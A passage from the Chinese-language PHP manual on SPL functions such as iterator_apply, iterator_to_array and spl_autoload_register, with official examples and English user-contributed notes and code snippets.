    $traits = class_uses($class, $autoload);

    if($parent = get_parent_class($class)) {
        $traits = array_merge($traits, class_uses_deep($parent, $autoload));
    }

    foreach( $traits as $trait ) {
        $traits = array_merge($traits, class_uses_deep($trait, $autoload));
    }

    return $traits;
}

?>
Jos Macedo 16-Aug-2020 01:16
Another alternative to get all parent traits is:

<?php
function getUsedTraits($classInstance) {
    $parentClasses = class_parents($classInstance);
    $traits = class_uses($classInstance);

    foreach ($parentClasses as $parentClass) {
        $traits = array_merge($traits, class_uses($parentClass));
    }

    return $traits;
}
?>
Daniel Klein 23-Feb-2018 12:53
I have improved on ulf's improvement of stealz' code. I'm pretty sure the last "foreach" adds nothing, so I've removed it, as well as adding a check for string class names (as opposed to objects) to prevent the warning if the class is not found:

<?php
function class_uses_deep($class, $autoload = true) {
  $traits = [];

  // Get all the traits of $class and its parent classes
  do {
    $class_name = is_object($class)? get_class($class): $class;
    if (class_exists($class_name, $autoload)) {
      $traits = array_merge(class_uses($class, $autoload), $traits);
    }
  } while ($class = get_parent_class($class));

  // Get traits of all parent traits
  $traits_to_search = $traits;
  while (!empty($traits_to_search)) {
    $new_traits = class_uses(array_pop($traits_to_search), $autoload);
    $traits = array_merge($new_traits, $traits);
    $traits_to_search = array_merge($new_traits, $traits_to_search);
  };

  return array_unique($traits);
}
Daniel Klein 23-Feb-2018 12:48
If the class does not exist, you will get a warning, even if $autoload == false; I.e., if the class is not found, setting $autoload to false is not sufficient to silence the warning.

This is different from class_exists ($class_name, $autoload = true), which doesn't generate a warning in either case.
ulf 11-Jul-2013 09:21
A slighly modified version from Stealz that also checks all the "parent" traits used by the traits:

<?php
public static function class_uses_deep($class, $autoload = true)
    {
        $traits = [];

        // Get traits of all parent classes
        do {
            $traits = array_merge(class_uses($class, $autoload), $traits);
        } while ($class = get_parent_class($class));

        // Get traits of all parent traits
        $traitsToSearch = $traits;
        while (!empty($traitsToSearch)) {
            $newTraits = class_uses(array_pop($traitsToSearch), $autoload);
            $traits = array_merge($newTraits, $traits);
            $traitsToSearch = array_merge($newTraits, $traitsToSearch);
        };

        foreach ($traits as $trait => $same) {
            $traits = array_merge(class_uses($trait, $autoload), $traits);
        }

        return array_unique($traits);
    }
?>
adam at adamhahn dot com 30-Apr-2013 11:34
FYI: It is not explicitly stated, but if you run this function against a class that does not use any traits it will return an empty array.

<?php

class iDontUseTraits {
}

class_uses('iDontUseTraits'); // Returns empty array

?>
stealz at op dot pl 01-Dec-2012 10:20
To get ALL traits including those used by parent classes and other traits, use this function:

<?php
function class_uses_deep($class, $autoload = true) {
    $traits = [];
    do {
        $traits = array_merge(class_uses($class, $autoload), $traits);
    } while($class = get_parent_class($class));
    foreach ($traits as $trait => $same) {
        $traits = array_merge(class_uses($trait, $autoload), $traits);
    }
    return array_unique($traits);
}
?>


为迭代器中每个元素调用函数

  • ? class_uses
  • iterator_count ?
  • PHP Manual
  • SPL 函数
  • 为迭代器中每个元素调用函数

iterator_apply

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

iterator_apply — 为迭代器中每个元素调用函数

说明

iterator_apply(Traversable $iterator, callable $callback, ?array $args = null): int

循环迭代每个元素时调用函数。

参数

iterator

要迭代的迭代对象。

callback

每个元素要调用的回调函数。此函数仅接收指定的 args，因此默认为 null。如果 count($args) === 3，则回调函数是三个参数。

Note: 为了遍历 iterator，此函数必须返回 true。

args

参数 array；args 的每个元素都会作为单独的参数传递给回调 callback。

返回值

返回已迭代的元素个数。

示例

Example #1 iterator_apply() 示例

<?php
function print_caps(Iterator $iterator) {
echo strtoupper($iterator->current()) . "\n";
return TRUE;
}

$it = new ArrayIterator(array("Apples", "Bananas", "Cherries"));
iterator_apply($it, "print_caps", array($it));
?>

以上示例会输出：

APPLES
BANANAS
CHERRIES

参见

  • array_walk() - 使用用户自定义函数对数组中的每个元素做回调处理

User Contributed Notes

tezcatl at fedoraproject dot org 19-Aug-2018 08:43
Each of the arguments required by the function, must be in the array supplied in the third argument to iterator_apply. You can use references too. Example:

<?php

function translate_to(string $target_language, Iterator $words, array $dictionaries) {

    $language = ucfirst($target_language);
    $dictionary = $dictionaries[$target_language] ?? 'not found';

    if ($dictionary === 'not found') {
        echo "Not found dictionary for {$language}\n";
        return;
    }

    echo "English words translated to {$language}\n";

    $not_found = [];

    iterator_apply($words, function($words, $dictionary, &$not_found){

        $english_word = $words->current();

        $translated_word = $dictionary[$english_word] ?? '';

        if ($translated_word !== '') {
            echo "{$english_word} translates to {$translated_word}\n";
        } else {
            $not_found[] = $english_word;
        }

        return true;

    }, array($words, $dictionary, &$not_found));

    echo "\nNot found words:\n" . implode("\n", $not_found) . "\n";
}

$dictionaries = [
    'nahuatl' => [
        'one' => 'Ze',
        'two' => 'Ome',
        'three' => 'Yei',
        'four' => 'Nahui',
    ],
];

$iterator = new \ArrayIterator(array('one', 'two', 'three', 'four', 'gasoil'));

translate_to('nahuatl', $iterator, $dictionaries);
?>

English words translated to Nahuatl
one translates to Ze
two translates to Ome
three translates to Yei
four translates to Nahui

Not found words:
gasoil
tezcatl at fedoraproject dot org 19-Aug-2018 07:35
Be aware of the proper methods to iterate the specific Iterator you are consuming, as the implementation of the method could vary its behaviour.

For example, unlike the ArrayIterator, you can't iterate on a SplDoubleLinkedList with current() without using next() on every iteration (and then, only would iterate if you return true at the end of the callable. It is far easier then with LinkedLists use a while($it->valid()) { $it->current(); $it->next(); }

Let's see:

<?php

$ll = new \SplDoublyLinkedList();

$ll->push('ze');
$ll->push('ome');
$ll->push('yei');
$ll->push('nahui');

$ll->rewind();

$iterations_done = iterator_apply($ll, function(Iterator $it) {

    echo implode("\t=>", [
        $it->key(),
        $it->current(),
        ucfirst($it->current())
    ]),"\n";

    return true;

}, array($ll));

echo "Did iterate {$iterations_done} times \n";

$ll->rewind();

$iterations_done = iterator_apply($ll, function(Iterator $it) {

    echo implode("\t=>", [
        $it->key(),
        $it->current(),
        ucfirst($it->current())
    ]),"\n";

    $it->next();

    return true;

}, array($ll));

echo "Did iterate {$iterations_done} times \n";

$ll->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

var_dump($ll->count());

foreach($ll as $key => $val) {
    echo "{$key}\t",ucfirst($val),"\n";
}

var_dump($ll->count());
?>

Output:

0    =>ze    =>Ze
0    =>ze    =>Ze
0    =>ze    =>Ze
0    =>ze    =>Ze
Did iterate 4 times
0    =>ze    =>Ze
1    =>ome    =>Ome
2    =>yei    =>Yei
3    =>nahui    =>Nahui
Did iterate 4 times
int(4)
0    Ze
0    Ome
0    Yei
0    Nahui
int(0)
ycgambo at outlook dot com 22-Nov-2017 06:47
$args is an array and each of its elements are passed to the callback as separate arguments.

so this is the right way to get args:

<?php
$ai = new ArrayIterator(range(0, 2));

iterator_apply($ai, function() {
    var_dump(func_get_args());     // use this func
    return true;
}, array(1, 2));
?>

output:

array(2) {
  [0] =>
  int(1)
  [1] =>
  int(2)
}
array(2) {
  [0] =>
  int(1)
  [1] =>
  int(2)
}
array(2) {
  [0] =>
  int(1)
  [1] =>
  int(2)
}

--------------------------------------------------
or list each args:

<?php
$ai = new ArrayIterator(range(0, 2));

iterator_apply($ai, function($arg1, $arg2, $arg3) {
    var_dump([$arg1, $arg2, $arg3]);
    return true;
}, array(1, 2));
?>

same output.


计算迭代器中元素的个数

  • ? iterator_apply
  • iterator_to_array ?
  • PHP Manual
  • SPL 函数
  • 计算迭代器中元素的个数

iterator_count

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

iterator_count — 计算迭代器中元素的个数

说明

iterator_count(Traversable|array $iterator): int

对迭代器中的元素计数。iterator_count() 不能保留 iterator 的当前位置。

参数

iterator

要计数的迭代器。

返回值

iterator 中的元素个数。

更新日志

版本 | 说明
8.2.0 | iterator 的类型从 Traversable 扩展为 Traversable|array。

示例

Example #1 iterator_count() 示例

<?php
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_dump(iterator_count($iterator));
?>

以上示例会输出：

int(4)

Example #2 iterator_count() 修改位置

<?php
$iterator = new ArrayIterator(['one', 'two', 'three']);
var_dump($iterator->current());
var_dump(iterator_count($iterator));
var_dump($iterator->current());
?>

以上示例会输出：

string(3) "one"
int(3)
NULL

Example #3 iterator_count() 在 foreach 中循环

<?php
$iterator = new ArrayIterator(['one', 'two', 'three']);
foreach ($iterator as $key => $value) {
echo "$key: $value (", iterator_count($iterator), ")\n";
}?>

以上示例会输出：

0: one (3)

User Contributed Notes

oleksii dot bulba at gmail dot com 01-Sep-2021 07:20
Be aware that counting over NoRewindIterator will make items unavailable:

<?php

$iterator = new ArrayIterator(['recipe'=>'pancakes', 'egg', 'milk', 'flour']);
$iterator = new NoRewindIterator($iterator);

var_dump($iterator->current());
var_dump(iterator_count($iterator));
var_dump($iterator->current());
$iterator->rewind(); // Does not work because it's NoRewindIterator
var_dump($iterator->current());
var_dump(iterator_count($iterator));

?>

Output:

<?php

/*
string(8) "pancakes"
int(4)
NULL
NULL
*/
int(0)

?>
info at ensostudio dot ru 16-Oct-2020 12:31
Safe using:
<?php
$cnt = iterator_count(clone $iterator);
?>


复制迭代器中的元素到数组

  • ? iterator_count
  • spl_autoload_call ?
  • PHP Manual
  • SPL 函数
  • 复制迭代器中的元素到数组

iterator_to_array

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

iterator_to_array — 复制迭代器中的元素到数组

说明

iterator_to_array(Traversable|array $iterator, bool $preserve_keys = true): array

复制迭代器中的元素到数组。

参数

iterator

被复制的迭代器。

preserve_keys

是否使用迭代器元素键作为索引。

如果键是 array 或 object，将会生成警告。null 键将会转换为空字符串，float 键将截断为对应的 int，resource 键将生成警告并转换为它们的资源 ID，bool 键将转换为整数。

Note:

如果此参数未设置或为 true，则覆盖重复的键。指定键的最后一个值将在返回的 array 中。设置此参数为 false 以获得任何情况下的所有值。

返回值

一个数组，包含迭代器中的元素。

更新日志

版本 | 说明
8.2.0 | iterator 的类型从 Traversable 扩展为 Traversable|array。

示例

Example #1 iterator_to_array() 示例

<?php
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_dump(iterator_to_array($iterator, true));
var_dump(iterator_to_array($iterator, false));
?>

以上示例会输出：

array(4) {
  ["recipe"]=>
  string(8) "pancakes"
  [0]=>
  string(3) "egg"
  [1]=>
  string(4) "milk"
  [2]=>
  string(5) "flour"
}
array(4) {
  [0]=>
  string(8) "pancakes"
  [1]=>
  string(3) "egg"
  [2]=>
  string(4) "milk"
  [3]=>
  string(5) "flour"
}

User Contributed Notes

wizzard351 at yahoo dot com 21-Mar-2022 03:55
One important thing to remember is that in iterator can be infinite. Not all iterators necessarily end. If iterator_to_array is used on such an iterator, it will exhaust the available memory, and throw a fatal error.

For example, consider the following code:

<?php

function fibonacci(): Generator
{
    yield $a = 1;
    yield $b = 2;

    start:
    yield $c = $a + $b;
    $a = $b;
    $b = $c;
    goto start;
}

$fibonacciSequence = fibonacci();
iterator_to_array($fibonacciSequence);

?>

Since <?php fibonacci(); ?> generates an infinite fibonacci sequence, which is valid, since it is actually an infinite sequence, then attempting to convert it to an array will fail.
enelar at develop-project dot ru 22-Jan-2017 04:26
Generator approach

function scandir_deep($dir)
{
  foreach (scandir($dir) as $key => $value)
    if (in_array($value, [".",".."]))
      continue;
    else if (is_dir($dir . DIRECTORY_SEPARATOR . $value))
      yield $value => scandir_deep($dir . DIRECTORY_SEPARATOR . $value);
    else
      yield $value;
}
Harry Willis 07-Jun-2015 09:21
When using iterator_to_array() on an SplObjectStorage object, it's advisable to set $use_keys to false.

The resulting array is identical, since the iterator keys produced by SplObjectStorage::key() are always integers from 0 to (COUNT-1). Passing $use_keys=false cuts out the unnecessary calls to SplObjectStorage::key(), giving a slight performance advantage.
joksnet at gmail dot com 26-Oct-2014 08:36
To generate an deep array from nested iterators:

<?php
function iterator_to_array_deep(\Traversable $iterator, $use_keys = true) {
    $array = array();
    foreach ($iterator as $key => $value) {
        if ($value instanceof \Iterator) {
            $value = iterator_to_array_deep($value, $use_keys);
        }
        if ($use_keys) {
            $array[$key] = $value;
        } else {
            $array[] = $value;
        }
    }
    return $array;
}
?>

I use it to test an iterator: https://gist.github.com/jm42/cb328106f393eeb28751
jerome at yazo dot net 09-Dec-2008 10:42
Using the boolean param :

<?php

$first = new ArrayIterator( array('k1' => 'a' , 'k2' => 'b',  'k3' => 'c',  'k4' => 'd') );
$second = new ArrayIterator( array( 'k1' => 'X', 'k2' => 'Y', 'Z' ) );

$combinedIterator= new AppendIterator();
$combinedIterator->append( $first );
$combinedIterator->append( $second );

var_dump( iterator_to_array($combinedIterator, false) );

?>

will output :

array(7) (
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "X"
  [5]=>
  string(1) "Y"
  [6]=>
  string(1) "Z"
)

<?php

var_dump( iterator_to_array($combinedIterator, true) );

?>

will output (since keys would merge) :

array(5) (
  ["k1"]=>
  string(1) "X"
  ["k2"]=>
  string(1) "Y"
  ["k3"]=>
  string(1) "c"
  ["k4"]=>
  string(1) "d"
  [0]=>
  string(1) "Z"
)
chad 0x40 herballure 0x2e com 27-Mar-2008 06:23
The use_keys parameter was added in one of the 5.2.x releases; it defaults to TRUE. This matches the behavior in PHP 5.1.6, which lacks this parameter.


尝试所有已注册的 __autoload() 函数来装载请求类

  • ? iterator_to_array
  • spl_autoload_extensions ?
  • PHP Manual
  • SPL 函数
  • 尝试所有已注册的 __autoload() 函数来装载请求类

spl_autoload_call

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload_call — 尝试所有已注册的 __autoload() 函数来装载请求类

说明

spl_autoload_call(string $class): void

该函数可用于使用已注册的 __autoload 函数手动搜索类或接口。

参数

class

搜索的类名。

返回值

没有返回值。

User Contributed Notes

Melnofil 15-Apr-2021 10:23
A complete example with namespaces:

fruits/pinapple.php

<?php
namespace Fruits;
echo "pinapple\n";
class Pinapple { }
?>

fruits/pinapple.php

<?php
namespace Vegetables;
use Fruits\Pinapple;
echo "carrot\n";
class Carrot { }
new Pinapple(); // Let's call autoload here
?>

index.php

<?php
spl_autoload_register(function($class_name) {
    @include_once(__DIR__ . '/' . strtolower(str_replace('\\', '/', $class_name)) . '.php');
});
new Vegetables\Carrot();
?>

Result:

carrot
pinapple

index2.php

<?php
spl_autoload_register(function($class_name) {
    @include_once(__DIR__ . '/' . strtolower(str_replace('\\', '/', $class_name)) . '.php');
});
spl_autoload_call('Fruits\\Pinapple'); // Reverse the load order
spl_autoload_call('Fruits\\Pinapple'); // Multiple call is safe with include_once
new Vegetables\Carrot();
?>

Result:

pinapple
carrot
k dot varmark at gmail dot com 02-Feb-2011 03:40
It should be noted, that calling spl_autoload_call on a child class, and then on its parent class, throws a fatal error.

This happens because autoloading the child class also loads the class it extends. And since spl_autoload_call forcibly calls the registered autoload function(s), not taking into account whether the class exists, a fatal error is thrown:

File: child.class.php

<?php
class Child extends Parent () {
    public function __construct () {
        parent::__construct();
    }
}
?>

File: parent.class.php

<?php
class Parent () {
    public function __construct () {

    }
}
?>

File: autoload.php

<?php

/*    works fine    */
    spl_autoload_call('Child');

/*    throws: Fatal error: Cannot redeclare class Parent in /parent.class.php on line 2    */
    spl_autoload_call('Parent');

?>


注册并返回 spl_autoload 的默认文件扩展名

  • ? spl_autoload_call
  • spl_autoload_functions ?
  • PHP Manual
  • SPL 函数
  • 注册并返回 spl_autoload 的默认文件扩展名

spl_autoload_extensions

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload_extensions — 注册并返回 spl_autoload 的默认文件扩展名

说明

spl_autoload_extensions(?string $file_extensions = null): string

本函数可以修改和检查 __autoload() 后备函数 spl_autoload() 将使用的扩展名。

Note: 在定义的文件扩展名之间不应该有空格。

参数

file_extensions

如果为 null，只返回当前扩展名列表，每个扩展名用逗号分隔。要修改文件扩展名列表，只需在单个字符串中，用逗号分割的新文件扩展名列表调用此函数即可。

返回值

逗号分隔的 spl_autoload() 的默认文件扩展名。

更新日志

版本 | 说明
8.0.0 | file_extensions 现在可以为 null。

示例

Example #1 spl_autoload_extensions() 示例

<?php
spl_autoload_extensions(".php,.inc");
?>

User Contributed Notes

dantedantas at gmail dot com 05-Jul-2017 09:46
The order of the extensions influence the velocity of the reply. For example:

spl_autoload_extensions(".php, .inc");

is more fast than:

spl_autoload_extensions(".inc, .php");

Check out this example:

Some class files:

ClassA.php
<?php class ClassA { var $val = 'Hello from class "ClassA"'; } ?>
ClassB.php
<?php class ClassB { var $val = 'Hello from class "ClassB"'; } ?>
ClassC.php
<?php class ClassC { var $val = 'Hello from class "ClassC"'; } ?>
ClassD.php
<?php class ClassD { var $val = 'Hello from class "ClassD"'; } ?>
ClassE.php
<?php class ClassE { var $val = 'Hello from class "ClassE"'; } ?>

1. Simple:
<?php
// default priority: .inc .php
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 4.2 miliseconds
?>

2. Change priority:
<?php
spl_autoload_extensions('.php,.inc');
// new priority: .php .inc
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 1.4 miliseconds
?>
pim dot stoit at gmail dot com 09-May-2016 06:00
Extensions doesn't have to start with a dot, spl_autload() will simply append whatever you supply to the basename. The following example will try to load "test.php" first, and "test/index.php" as well:

spl_autoload_register('.php,/index.php');
spl_autoload('Test');


返回所有已注册的 __autoload() 函数

  • ? spl_autoload_extensions
  • spl_autoload_register ?
  • PHP Manual
  • SPL 函数
  • 返回所有已注册的 __autoload() 函数

spl_autoload_functions

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload_functions — 返回所有已注册的 __autoload() 函数

说明

spl_autoload_functions(): array

获取所有已注册的 __autoload() 函数。

参数

此函数没有参数。

返回值

包含所有已注册的 __autoload 函数的 array。如果没有已注册的函数或者自动加载队列未激活，则返回值将是空数组。

更新日志

版本 | 说明
8.0.0 | 将更新返回值始终是 array；之前如果自动加载队列未激活，此函数返回 false。

User Contributed Notes

124307954 at qq dot com 01-Mar-2019 06:01
<?php
spl_autoload_register(function ($name) {
    echo "Want to load $name.\n";

});

spl_autoload_register(function($className) {
    var_dump($className);
});

function unregister($className) {
    var_dump($className.' i will be the first');
}

spl_autoload_register('unregister');

var_dump(spl_autoload_functions());

===================

array(3) {
  [0]=>
  object(Closure)#1 (1) {
    ["parameter"]=>
    array(1) {
      ["$name"]=>
      string(10) "<required>"
    }
  }
  [1]=>
  object(Closure)#2 (1) {
    ["parameter"]=>
    array(1) {
      ["$className"]=>
      string(10) "<required>"
    }
  }
  [2]=>
  string(10) "unregister"
}
dantedantas at gmail dot com 05-Jul-2017 11:14
If you use an anonymous function, it will return the object that are expected.

spl_autoload_register(function ($myclass){
    $keyclass = substr($myclass, 0, 1);

    switch ($keyclass) {
        case 'c':
            if (file_exists("class".DIRECTORY_SEPARATOR.$myclass.".php") === true)
                require_once ("class".DIRECTORY_SEPARATOR.$myclass.".php");
            break;
        case 'i':
            if (file_exists("interface".DIRECTORY_SEPARATOR.$myclass.".php") === true)
                require_once ("interface".DIRECTORY_SEPARATOR.$myclass.".php");
            break;
        case 'a':
            if (file_exists("abstract".DIRECTORY_SEPARATOR.$myclass.".php") === true)
                require_once ("abstract".DIRECTORY_SEPARATOR.$myclass.".php");
            break;
        default:
            if (file_exists($myclass.".php") === true)
                require_once ($myclass.".php");
    }

/******************************/

var_dump(spl_autoload_functions()) return:

array(1) {
  [0]=>
  object(Closure)#1 (1) {
    ["parameter"]=>
    array(1) {
      ["$myclass"]=>
      string(10) "<required>"
    }
  }
}


注册指定的函数作为 __autoload 的实现

  • ? spl_autoload_functions
  • spl_autoload_unregister ?
  • PHP Manual
  • SPL 函数
  • 注册指定的函数作为 __autoload 的实现

spl_autoload_register

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload_register — 注册指定的函数作为 __autoload 的实现

说明

spl_autoload_register(?callable $callback = null, bool $throw = true, bool $prepend = false): bool

使用 spl 提供的 __autoload 队列注册函数。如果队列尚未激活，则将激活。

如果在代码中已经实现了 __autoload() 函数，必须显式注册到
__autoload() 队列中。因为 spl_autoload_register()
通过 spl_autoload() 或 spl_autoload_call()
有效替换 __autoload() 函数的存储缓存。

如果需要多个自动加载函数，则 spl_autoload_register() 允许这么做。它有效的创建了自动加载函数队列，并按定义的顺序进行遍历。相比之下，__autoload() 只能定义一次。

参数

callback

正在注册的自动装载函数。如果为 null，则将注册 spl_autoload() 的默认实现。

callback(string $class): void

class 将是不包含开头反斜线的完整标识符。

throw

此参数指定 spl_autoload_register() 在无法注册 callback 时是否应抛出异常。

Warning

从 PHP 8.0.0 开始，将忽略该参数，如果设置为 false，则会发出 notice。spl_autoload_register() 现在总是会在无效参数上抛出 TypeError。

prepend

如果是 true，spl_autoload_register() 会添加函数到队列之首，而不是队列尾部。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | callback 现在可以为 null。

示例

Example #1 spl_autoload_register() 作为 __autoload() 函数的替代

<?php

// function __autoload($class) {
// include 'classes/' . $class . '.class.php';
// }

function my_autoloader($class) {
include 'classes/' . $class . '.class.php';
}

spl_autoload_register('my_autoloader');

// 或者可以使用匿名函数
spl_autoload_register(function ($class) {
include 'classes/' . $class . '.class.php';
});

?>

Example #2 类未能加载的 spl_autoload_register() 例子

<?php

namespace Foobar;

class Foo {
static public function test($class) {
print '[['. $class .']]';
}
}

spl_autoload_register(__NAMESPACE__ .'\Foo::test');

new InexistentClass;

?>

以上示例的输出类似于：

[[Foobar\InexistentClass]]
Fatal error: Class 'Foobar\InexistentClass' not found in ...

Example #3 提供的标识符将不包含开头的反斜线

<?php

spl_autoload_register(static function ($class) {
var_dump($class);
});

class_exists('RelativeName');
class_exists('RelativeName\\WithNamespace');
class_exists('\\AbsoluteName');
class_exists('\\AbsoluteName\\WithNamespace');

?>

以上示例会输出：

string(12) "RelativeName"
string(26) "RelativeName\WithNamespace"
string(12) "AbsoluteName"
string(26) "AbsoluteName\WithNamespace"

参见

  • __autoload() - 尝试加载未定义的类

User Contributed Notes

abhijeet dot sweden at gmail dot com 09-Jul-2022 04:04
Type#1:

<?php

require_once('Second.php');
require_once('First.php');

$Second = new Second;
$Second->run_second();

$First = new First;
$First->run_first();

?>

---------------------------------------------------------
Type#2:

<?php

spl_autoload_register(function($class){
  //
  require_once($class.'.php');
});

$Second = new Second;
$Second->run_second();

$First = new First;
$First->run_first();

?>
Daniel Klein 18-Jun-2022 05:25
If you want to be able to run your PHP script from anywhere without changing to the directory first, use chdir(__DIR__) in the first file you run (not any includes):

<?php
spl_autoload_register();
chdir(__DIR__);

For some reason, trying to use namespaced classes from within other namespaced classes fails otherwise.

e.g. Running "php src/main.php" will fail, but "cd src && php main.php" will work.

src/main.php
<?php
spl_autoload_register();
//chdir(__DIR__); // Uncomment this to make it work from any directory
MyNamespace\MyClass::foo();

src/MyNamespace/MyClass.php
<?php
namespace MyNamespace;

class MyClass {
  public static function foo(): void {
    echo MyOtherClass::BAR; // This will fail even if MyOtherClass.php is in the right place
  }
}

src/MyNamespace/MyOtherClass.php
<?php
namespace MyNamespace;

class MyOtherClass {
  public const BAR = 'baz';
}
kuzawinski dot marcin at nospam dot gmail dot com 29-May-2021 05:36
Since PHP 8.0 spl_autoload_register() will always throw a TypeError on invalid arguments, therefore the second argument `throw` is ignored and a notice will be emitted if it is set to False.
n0mAd at example dot com 24-Dec-2017 07:49
If you need to register the function when using namespaces, use the __NAMESPACE__ constant to define the name.

<?php

namespace Foobar;

spl_autoload_register('MyFunction'); // incorrect
spl_autoload_register('\MyFunction');// incorrect
spl_autoload_register(__NAMESPACE__ . '\MyFunction'); // correct

?>
nemanja 26-Jul-2017 08:25
Even when autoloading (SPL) is used, class inheritance does not seem to work. Simply the PHP engine is unable to find parent (inherited) class. PHP 5.6 and 7.0 behave exactly same on this, which beats the purpose of autoloading.

And IMHO it's easy to fix as the autoloader is able to find all first level classes w/o problems, it just needs to follow same path recursively on parents too.

<?php
//Using default SPL autoloader, with namespaces mapping 1:1 to directory structure, with file names being all lowercase.
//This works with first level classes only, for inheritance it does NOT work, it cannot find parent classes.
spl_autoload_register();

//This is ugly but working code if you want to be able to autoload parent classes too.
spl_autoload_register(function ($class){
    require_once __DIR__ . '/' . strtolower(str_replace('\\', '/', $class) . '.php');
});
rnealxp at yahoo dot com 27-May-2017 06:58
I now utilize spl_autoload_register and there's no turning back. So let me gather here for you what I've learned...
1.) the issue mentioned in these docs about case-sensitivity of filenames (Windows vs Linux/Mac): it only comes into play if you don't provide your own custom function as an argument when calling spl_autoload_register. Your function is to accept a single argument which will be the class name that your code is currently trying to access. I observe that the class name comes in with the same letter-casing as that you are actually using in your code base (mixed-case or not). I am not doing/using namespaces, but as a best practice, and to make your implementation straight-forward and predictable, go with fileName===className (1:1).
2.) I often refactor my code-base's directory structure as my code base morphs. I'm not using namespaces, but even if I were, I would want a decoupling between my namespace hierarchy and my directory structure hierarchy. I like my directory hierarchies to be intuitive for getting to code I want to work with. To save myself from having to manually tell my autoloader the path to each file/class, I cache a couple of arrays in static variables that store just the file/class name in the one array and the folder path to the file in the other. After the cache (static vars) have been set on the first call to my function, it's just a matter of looking up in the filename array. For safety, and to be problem-free, no two php filenames should be identical across all of your directory hierarchy (your namespace)--I favor this practice anyways, and accordingly, I favor unique class names across my single namespace (despite it not yet explicitly defined). I did build in a check in my function to ensure all php file names/classes are unique.
3.) I converted many, many files that once had sets of functions in the global space to *abstract classes* that have private static variables and methods and of course also public static methods. So those sets of functions are now encapsulated in objects, and those objects are now auto-loaded. Simply for this benefit I will never again have a function in the global space other than my auto-loader function and other exceptions such as that.
4.) My auto-loader function uses only built-in php language constructs and operations and has no outside dependencies.
5.) If you utilize the function class_exists() in your codebase somewhere, realize that unless you are passing the second arg as false, you will trigger the autoloader to load that class. I stumbled on this of course. My use-case is that I don't want the class loaded: I only wanted to take some action if the class was being used (in an error-handler method).
6.) If you use the function method_exists(), you will definitely trigger the class to be loaded (which makes sense since you have already decided to drill down to looking for a specific method).
7.) I credit someone else's idea here: I also elected to call an init() method for the class being loaded should it exist. This saves me from having to manually call from the outside, let alone managing how and from where the call should be made. It is so useful to get your object set up and ready to do work in an automated fashion such as this.
8.) as another said, I also use require() and not require_once() as the first is enough to generate an error and if already loaded the function will not have been called.
9.) If for some reason I fail to find a class name in my cached arrays, I knowingly still call require(), passing the class name I had not accounted for in order to generate and reveal the problem (which of course is not anticipated!).
10.) Again, I ensure uniqueness across all class names. If I observe non-uniqueness, I again do a faulty call to require() like this: require('FoundMultiplesOfClassFile.php'); to reveal the problem. (I don't yet, and you likely should not, have any sophisticated error-handler registered so this is as good as anything else to me).
joneschrisan at aol dot com 05-Feb-2016 04:11
Looks like on the latest update of debian php passing no params to spl_autoload doesn't work on linux any more.

It is failing to replace the \'s in the namespace with /'s for file paths.
kakkau at grr dot la 28-Sep-2015 05:11
A note on registering autoloading functions with additional parameters.

./alf.home.php
<?php
/*
 * class containing an autoloading function alias ALF :)
 */
class ALF {
  public function haaahaaahaaa($class = "ALF", $param = "Melmac") {
    echo "I am ".$class." from ".$param.".\n";
  }
}
?>

./kate.melmac.php
<?php
require_once("alf.home.php");
/*
 * the normal way is to get ALF
 * and register an autoloading function
 */
$alf = new ALF();
spl_autoload_register(array($alf,'haaahaaahaaa'));
$alf->haaahaaahaaa(); // ALF is from Melmac :)
/*
 * now lets try to autoload a class
 */
@$kate = new Kate(); // this throws a fatal error because
                     // Kate is NOT from Melmac :)
?>
I am ALF from Melmac.
I am Kate from Melmac.

./kate.earth.php
<?php
require_once("alf.home.php");
/*
 * BUT what if we want to correct Kates origin ?
 *     How can one pass parameters to an autoloading function
 *     upon registering?
 *
 * spl_autoload_register is not suitable for that
 *   but we can try is to define a callable during registration
 */
spl_autoload_register(function($class){
  call_user_func(array(new ALF(),'haaahaaahaaa'), $class, "Earth"); });
/*
 * now lets try again to autoload a class
 * Kate will still not be found but we corrected her origin :)
 */
@$kate = new Kate(); // Kate is from Earth :)
/*
 * NOTE: that you cannot pass $this or another object created
 *       outside of the callable context using the
 *       registering way above. therefor you should swap your autoloading
 *       function to a seperate class as done at the beginning with ALF.
 *
 * NOTE: you may not able to unregister your autoloading function
 *       directly as an instance was created in another context
 */
?>
I am Kate from Earth.
eyeofmidas at gmail dot com 12-Aug-2015 03:57
When switching from using __autoload() to using spl_autoload_register keep in mind that deserialization of the session can trigger class lookups.

This works as expected:
<?php
session_start();
function __autoload($class) {
...
}
?>

This will result in "__PHP_Incomplete_Class_Name" errors when using classes deserialized from the session.
<?php
session_start();
function customAutoloader($class) {
...
}
spl_autoload_register("customAutoloader");
?>

So you need to make sure the spl_autoload_register is done BEFORE session_start() is called.

CORRECT:
<?php
function customAutoloader($class) {
...
}
spl_autoload_register("customAutoloader");
session_start();
?>
iam at thatguy dot co dot za 08-May-2015 07:19
<?php

    // Example to auto-load class files from multiple directories using the SPL_AUTOLOAD_REGISTER method.
    // It auto-loads any file it finds starting with class.<classname>.php (LOWERCASE), eg: class.from.php, class.db.php
    spl_autoload_register(function($class_name) {

        // Define an array of directories in the order of their priority to iterate through.
        $dirs = array(
            'project/', // Project specific classes (+Core Overrides)
            'classes/', // Core classes example
            'tests/',   // Unit test classes, if using PHP-Unit
        );

        // Looping through each directory to load all the class files. It will only require a file once.
        // If it finds the same class in a directory later on, IT WILL IGNORE IT! Because of that require once!
        foreach( $dirs as $dir ) {
